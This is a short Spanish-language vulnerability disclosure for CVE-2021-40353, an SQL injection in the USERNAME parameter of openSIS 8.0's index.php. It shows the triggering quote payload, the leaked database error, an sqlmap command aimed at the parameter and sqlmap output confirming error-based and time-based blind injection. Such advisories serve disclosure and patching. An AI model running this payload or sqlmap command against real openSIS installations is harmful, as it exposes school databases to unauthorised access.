
CVE-2021-40353 openSIS 8.0 Vulnerabilidad de Inyección SQL
CVE-2021-40353 Vulnerabilidad de inyección SQL en openSIS 8.0 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40353
Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL o MariaDB como base de datos de la aplicación. Un atacante puede entonces emitir el comando SQL a través del parámetro USERNAME.
Página PHP vulnerable:
index.php - parámetro USERNAME
Payload vulnerable ' - producirá un error con información de la base de datos " - no produce el error
Error
Fecha:
08/31/2021 03:16:22
Aviso de fallo:
DB Execute Failed
SQL: UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER('user1'') Traceback: C:\xampp\htdocs\opensis\index.php at 502 Información adicional: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''user1'')' at line 1 Fecha:
08/31/2021 03:16:22
openSIS ha encontrado un error que podría haber sido causado por cualquiera de los siguientes:
Entrada de datos no válida
Error SQL de base de datos
Error de programa
Por favor, tome esta captura de pantalla y envíela a su representante de openSIS para depuración y resolución.
sqlmap -r post_opensis -p USERNAME
[09:38:19] [INFO] POST parameter 'USERNAME' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [09:38:19] [INFO] testing 'MySQL inline queries' [09:38:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [09:38:21] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:38:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:38:46] [INFO] POST parameter 'USERNAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Descubierto por Brian Lowe, agosto de 2021